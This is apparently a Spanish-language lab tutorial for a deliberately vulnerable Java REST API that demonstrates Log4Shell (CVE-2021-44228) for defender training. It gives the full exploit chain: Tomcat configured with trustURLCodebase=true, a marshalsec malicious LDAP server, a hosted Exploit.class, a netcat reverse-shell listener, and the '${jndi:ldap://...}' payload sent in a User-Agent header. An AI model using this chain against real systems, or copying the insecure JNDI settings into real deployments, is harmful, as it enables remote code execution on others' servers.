
Una API REST basada en Java vulnerable para demostrar CVE-2021-44228 (log4shell).
Una API REST vulnerable basada en Java para demostrar CVE-2021-44228 (log4shell).
Log4Shell arrasó con Internet a principios de diciembre de 2021. Una vulnerabilidad de día cero en la librería de registro Apache Log4j, capaz de ejecutar código remoto (RCE), que hizo que organizaciones de todo el mundo se apresuraran a corregir/parchear/mitigar sus aplicaciones Java expuestas al público. Mientras la comunidad de InfoSec se unía para proporcionar un análisis continuo y soluciones a los equipos de seguridad, la comunidad de Log4j estaba ocupada desarrollando parches para poner fin a esta vulnerabilidad.
Desarrollé esta sencilla API REST vulnerable que demuestra el camino hacia la ejecución remota de código (RCE) explotando esta vulnerabilidad utilizando el servidor de aplicaciones Apache Tomcat. Espero que esta prueba de concepto pueda usarse para entrenar a tus equipos de SecOps o educar a los desarrolladores de aplicaciones actuales y futuros. Entrena a tus equipos y mejora tus defensas, incluyendo, entre otras, reglas/alertas de SIEM, EDRs y SOARs.
Para entender el flujo de trabajo de este ataque, echa un vistazo a este gráfico proporcionado por el Equipo de Respuesta a Emergencias Informáticas del Gobierno Suizo GovCERT.ch: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png
Este tutorial y el código fuente se proporcionan únicamente con fines educativos y de formación. Por favor, úsalo de forma ética y responsable. Este tutorial se preparó asumiendo que el atacante y la aplicación vulnerable están en el mismo equipo. Para una experiencia más cercana al mundo real, distribuye la arquitectura y ejecuta la aplicación vulnerable en su propio servidor y usa algo como Kali Linux u otra distribución para simular al atacante.
Empecemos.
Una vez que tengas Java JDK y Maven instalados, asumiendo que estás en una distribución de Linux, cambia de directorio a tu ubicación de vuln4japi y compila tu proyecto.
Nota: Puedes modificar ciertos componentes de la aplicación antes de compilarla. Por ejemplo, puedes modificar la ruta de los registros de log4j en el archivo log4j2.xml. O puedes cambiar el nombre del archivo war resultante en el archivo pom.xml. Depende totalmente de ti.
cd /path/to/vuln4japi
mvn clean package -DskipTests
Si no ves errores de compilación, deberías tener un directorio target recién creado con tu archivo vuln4japi.war. Bien, volveremos a este archivo un poco más tarde. Veamos Tomcat brevemente.
Dependiendo de tu versión de Java 8, las versiones posteriores de 8 pueden tener esta configuración particular (com.sun.jndi.ldap.object.trustURLCodebase) establecida en false. Esto deshabilita efectivamente que JNDI cargue un codebase remoto a través de LDAP. Que es lo que esta vulnerabilidad está explotando. Por lo tanto, necesitamos modificar el archivo catalina.properties de Tomcat para establecer esta configuración del sistema en True, haciendo que Tomcat sea intencionalmente vulnerable.
Una vez que descargues apache-tomcat-8.0.32.tar.gz para Linux, descomprímelo en algún lugar como el directorio /opt.
tar -xvf apache-tomcat-8.0.32.tar.gz -C /opt
Cambia de directorio a /conf y modifica catalina.properties al final del archivo.
Nota: Usa tu editor de texto preferido. Yo uso vim en este ejemplo.
cd /opt/apache-tomcat-8.0.32/conf
vim catalina.properties
# añade las siguientes propiedades del sistema al final
com.sun.jndi.ldap.object.trustURLCodebase=true
com.sun.jndi.rmi.object.trustURLCodebase=true
com.sun.jndi.cosnaming.object.trustURLCodebase=true
Sal de tu editor de texto e inicia Tomcat usando el script catalina.sh dentro del directorio /bin.
cd /opt/apache-tomcat-8.0.32/bin
./catalina.sh start
Prueba tu instancia de Apache Tomcat navegando a http://localhost:8080/ o con un simple comando cURL desde la interfaz de línea de comandos.
curl -vv http://localhost:8080/
Si ves una página de bienvenida en tu navegador o terminal, entonces debería estar funcionando. Ahora podemos desplegar nuestra aplicación vulnerable.
Copia tu archivo .war al directorio /webapps de Tomcat. Tomcat desplegará tu aplicación en caliente en cuestión de segundos.
cp /vuln4jpi/target/vuln4japi.war /opt/apache-tomcat-8.0.32/webapps
Prueba tu aplicación vulnerable navegando a la URL de la aplicación o nuevamente usando cURL desde la línea de comandos. En el navegador: http://localhost:8080/vuln4japi/api
curl -vv http://localhost:8080/vuln4japi/api
Deberías ver el siguiente mensaje mostrado, Hi, this is a Vulnerable App!!
Ahora que tenemos algunos componentes funcionando, explotemos esto...
El proyecto marshalsec es un recurso excelente para entender este tipo de ataque en detalle. Esencialmente, actúa como un servidor LDAP malicioso que luego redirige cualquier solicitud a un servidor web malicioso que aloja el archivo .class. Recomiendo encarecidamente revisar parte de la documentación publicada en el repositorio de Github de mbechler antes de usar marshalsec: https://github.com/mbechler/marshalsec
Si decides omitir los detalles técnicos y la documentación, clona ese repositorio y cambia de directorio a él. Ahora, antes de compilar ese proyecto Java, recomiendo añadir una línea de depuración en el archivo LDAPRefServer.java. Esta declaración de impresión será útil al capturar la consulta LDAP del servidor vulnerable.
Usando tu editor de texto favorito, edita el siguiente archivo y añade la línea como se muestra en el bloque de código a continuación, en el método processSearchResult().
vim marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
// añade esta línea para mostrar la información completa de la solicitud
System.out.println("Request: " + result.getRequest());
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
Una vez que hayas modificado el archivo, guárdalo y sal de tu editor de texto. Ahora deberías poder compilar el proyecto marshalsec usando Maven. Cambia de directorio de vuelta a la raíz de la carpeta marshalsec y ejecuta maven.
mvn clean package -DskipTests
Si no hay errores de compilación, deberías ver el directorio /marshalsec/target recién creado con el archivo marshalsec-0.0.3-SNAPSHOT-all.jar incluido.
Configuremos el resto de nuestras herramientas de atacante antes de ejecutar nuestro servidor LDAP malicioso marshalsec.
Cambia de directorio a la carpeta exploitz y compila el archivo Exploit.java incluido.
javac Exploit.java
Si no obtienes errores, deberías tener un archivo Exploit.class.
Eso debería ser suficiente. Deberías tener todo lo necesario compilado y el servidor web en ejecución. Nuevamente, asumiendo que estás ejecutando esta prueba en un servidor Linux, abrirás al menos 5 ventanas de terminal.
Terminal 1: Ejecuta marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8081/#Exploit" 1389
Terminal 2: Cambia de directorio a la carpeta xploitz donde está tu Exploit.class y ejecuta un servidor Python local.
python3 -m http.server 8081
Terminal 3: Haz un seguimiento de tu archivo /tmp/logs/vuln4jpi_log4j.log para observar las solicitudes hechas a tu aplicación vulnerable.
tail -f /tmp/logs/vuln4japi_log4j.log
Terminal 4: Abre un listener de netcat en el puerto 8001. Esta será la conexión de shell inversa desde el mismo host, por supuesto. Recuerda, estamos haciendo todo esto en el mismo host. Para una experiencia del mundo real, intenta usar 2 o 3 computadoras diferentes.
nc -lv 8001
Terminal 5: Envía tu payload usando un simple comando cURL.
curl -vv http://localhost:8080/vuln4japi/api -H 'User-Agent: ${jndi:ldap://localhost:1389/a}'
Si todo funciona como se espera, deberías tener un shell reenviado a tu listener de netcat en el puerto 8001. Revisa todas tus ventanas de terminal y observa el comportamiento en cada una de ellas buscando errores tipográficos o de sintaxis. Hay mucho en juego aquí, así que el error humano siempre está presente. Haz algunas ejecuciones hasta que lo domines. Puede que tengas que modificar un poco el código fuente, pero bueno, así es como aprendemos. ;-)
Espero que disfrutes aprendiendo de este proyecto tanto como yo disfruté armándolo. Encuéntrame en twitter @offswitchsec si tienes comentarios o sugerencias. ¡Disfruta y feliz hacking!